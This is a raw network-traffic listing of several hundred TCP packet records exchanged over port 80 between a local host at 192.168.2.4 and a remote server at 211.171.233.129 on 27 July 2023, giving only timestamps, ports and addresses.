Jul 27, 2023 18:26:53.714420080 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.714426041 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.714464903 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.714467049 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.714514017 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.714559078 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.714607954 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.714613914 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.714653969 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.714653969 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.714701891 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.714746952 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.714792013 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.714797020 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.714838028 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.714838028 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.714885950 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.714935064 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.714982033 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.714983940 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.715025902 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.715028048 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.715116978 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.715161085 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.715207100 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.715224981 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.715253115 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.715265989 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.715297937 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.715303898 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.715348005 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.715348959 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.715400934 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.715419054 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.715476990 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.715483904 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.715529919 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.715542078 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.715575933 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.715579033 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.715621948 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.715629101 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.715667963 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.715671062 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.715722084 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.715728998 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.715778112 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.715792894 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.715843916 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.715848923 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.715893984 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.715898991 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.715941906 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.715990067 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.715998888 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.716036081 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.716042042 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.716082096 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.716085911 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.716126919 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.716139078 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.716173887 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.716173887 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.716219902 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.716236115 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.716279984 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.716295004 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.716350079 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.716351032 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.716398001 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.716403008 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.716444016 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.716449022 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.716492891 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.716507912 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.716567039 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.716573000 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.716625929 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.959393978 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.959427118 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.959448099 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.959466934 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.959465981 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.959487915 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.959505081 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.959508896 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.959530115 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.959531069 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.959549904 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.959549904 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.959569931 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.959580898 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.959590912 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.959599018 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.959614038 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.959621906 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.959634066 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.959639072 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.959656000 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.959656954 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.959676981 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.959678888 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.959697962 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.959702969 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.959718943 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.959719896 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.959737062 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.959741116 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.959754944 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.959760904 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.959779978 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.959783077 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.959799051 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.959804058 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.959822893 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.959824085 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.959844112 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.959846973 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.959862947 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.959863901 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.959881067 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.959887981 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.959907055 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.959911108 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.959924936 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.959930897 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.959950924 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.959969997 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.959971905 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.959983110 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.959990978 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.960004091 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.960011959 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.960031986 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.960045099 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.960052013 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.960072041 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.960072994 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.960093021 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.960097075 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.960112095 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.960124969 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.960131884 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.960141897 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.960155010 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.960160017 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.960175037 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.960176945 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.960196018 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.960201025 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.960211992 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.960216999 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.960228920 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.960237026 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.960254908 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.960258007 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.960282087 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.960290909 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.960304022 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.960311890 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.960331917 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.960335016 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.960351944 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.960359097 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.960374117 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.960374117 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.960396051 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.960397005 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.960416079 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.960417986 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.960432053 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.960437059 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.960455894 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.960458040 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.960479021 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.960479975 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.960500002 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.960500002 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.960515976 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.960520983 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.960536957 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.960541964 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.960561037 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.960561991 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.960580111 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.960585117 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.960603952 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.960603952 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.960623980 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.960624933 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.960645914 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.960652113 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.960664988 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.960671902 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.960685968 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.960690975 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.960706949 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.960714102 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.960727930 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.960731983 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.960748911 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.960752010 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.960769892 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.960772038 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.960791111 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.960792065 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.960810900 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.960813046 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.960832119 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.960834980 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.960855007 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.960856915 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.960875988 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.960876942 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.960892916 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.960897923 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.960918903 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.960918903 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.960938931 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.960939884 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.960959911 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.960961103 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.960980892 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.960983038 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.961002111 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.961004972 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.961024046 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.961044073 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.961045027 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.961065054 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.961065054 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.961086035 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.961095095 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.961106062 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.961113930 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.961127996 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.961143017 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.961148024 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.961168051 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.961188078 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.961199999 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.961206913 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.961219072 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.961227894 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.961245060 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.961247921 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.961268902 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.961271048 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.961288929 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.961289883 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.961308956 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.961317062 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.961329937 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.961338997 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.961349964 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.961354971 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.961370945 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.961378098 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.961391926 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.961400986 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.961412907 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.961420059 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.961436033 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.961436033 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.961452007 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.961457014 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.961477995 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.961478949 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.961497068 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.961498976 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.961514950 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.961518049 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.961538076 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.961539984 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.961560011 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.961563110 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.961580992 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.961591959 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.961601019 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.961608887 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.961622953 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.961632967 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.961642981 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.961653948 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.961663961 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.961672068 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.961683989 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.961702108 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.961703062 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.961724043 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.961741924 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.961760998 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.961770058 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.961770058 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.961770058 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.961776018 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.961796045 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.961812019 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.961831093 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.961849928 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.961869001 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.961949110 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.961949110 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.961949110 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.961949110 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.961949110 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.961949110 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.961949110 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.962022066 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:54.204658985 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:54.204741001 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:54.204787970 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:54.204786062 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:54.204837084 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:54.204874992 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:54.204884052 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:54.204921007 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:54.204931021 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:54.204947948 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:54.204978943 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:54.204986095 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:54.205029964 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:54.205054998 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:54.205097914 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:54.205100060 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:54.205146074 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:54.205164909 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:54.205215931 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:54.205219030 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:54.205265999 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:54.205265999 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:54.205307961 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:54.205341101 CEST	49698	80	192.168.2.4	211.171.233.129
